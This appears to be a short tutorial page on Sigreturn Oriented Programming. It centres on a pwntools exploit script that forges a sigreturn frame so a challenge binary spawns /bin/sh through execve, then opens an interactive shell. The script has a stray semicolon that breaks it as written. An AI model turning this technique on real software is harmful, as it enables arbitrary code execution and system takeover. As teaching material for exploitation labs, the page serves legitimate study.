Sigreturn Oriented Programming - SROP
A syscall to rule them all
Exploitation
Register
value
from pwn import *
elf = context.binary = ELF('./chall', checksec=False)
p = process()
BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.eax = 0x0b # syscall number for execve
frame.ebx = BINSH # pointer to /bin/sh
frame.ecx = 0x0 # NULL
frame.edx = 0x0 # NULL
frame.eip = SYSCALL_RET
payload = flat( b'A' * 8;
POP_EAX,
0x77, # syscall number for sigreturn
SYSCALL_RET,
frame
)
p.sendline(payload)
p.interactive()Disable stack protection
Last updated